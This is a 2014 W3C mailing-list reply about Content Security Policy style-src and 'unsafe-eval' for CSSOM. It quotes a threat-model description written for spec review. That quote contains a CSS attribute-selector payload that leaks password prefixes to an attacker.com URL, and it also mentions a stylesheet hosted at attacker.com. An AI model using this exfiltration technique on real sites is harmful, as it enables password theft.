Re: [CSP] Regarding style-src unsafe-eval and CSSOM

Thanks for the clarification, Jonas.

I have created issue #50 on GitHub and tried to fix the algorithm
omission with this pull request: <https://github.com/w3c/webappsec/pull/51>


On 28.08.2014 20:22, Jonas Sicking wrote:
> On Thu, Aug 28, 2014 at 2:23 AM, Frederik Braun <fbraun@mozilla.com> wrote:
>>> 'unsafe-eval' protects against CSS modifications from script by
>>> modifying style though '.style', '.cssText', 'insertRule()' and
>>> '.selectorText'.
> 
> This is not actually a description of a threat model. What David was
> looking for was something like:
> 
> The goal of CSP with regards to style and CSS is to prevent an
> attacker from injecting CSS rules which read data from the DOM and
> submit information to the server. It is also the the goal to prevent
> the attacker from dramatically affecting the layout of a page such
> that it's meaning is altered, for example by switching the appearance
> of a pair of 'yes'/'no' buttons. A secondary purpose is to prevent an
> attacker from injecting CSS rules which makes the page look, like,
> *really* ugly. With green and orange shades that don't go together at
> all.
> 
> For example, by injecting a rule such as
> "input[type=password][value^=ab] { background:
> url(http://attacker.com/pw?startswith=ab) }" the attacker can know
> that there's a <input type=password> element in the DOM which has a
> 'value' attribute which starts with 'ab'.
> 
> Injecting a rule could be done in several ways:
> * Tricking the server to include markup that contains a <style>
> element which contains said rule.
> * Tricking the server to include a <link rel=stylesheet
> href="http://attacker.com/passwordstealer.css">
> * Tricking a page which contains JS code like
> "stylesheets[0].cssRules[0].cssText = 'color:' + someValue;" to use
> attacker controlled data for someValue.
> 
> However, in order to actually enable developers to use this aspect of
> CSP, the intent is to allow pages to block all of the above mentioned
> attacks, while still permitting the page to do things like:
> 
> * myElement.style.display = "none"
> * myElement.style.lineHeight = someFunc();
> * myElement.bgcolor = someValue;
> 
> Allowing these still means some level of risk. However very few pages
> would be able to adopt protection for the mentioned attacks if it also
> required not using these APIs. And it is hopefully much more clear to
> the page author what effect it would have to allow a third party data
> to be used in the above APIs.
> 
> 
> Such a threat model description would enable more people to not just
> verify that the spec makes sense, but also help when reviewing
> implementations of the spec. This since often times the code path in
> specs doesn't have a direct mapping to code paths in implementations.
> 
> / Jonas
>

Received on Monday, 1 September 2014 07:58:06 UTC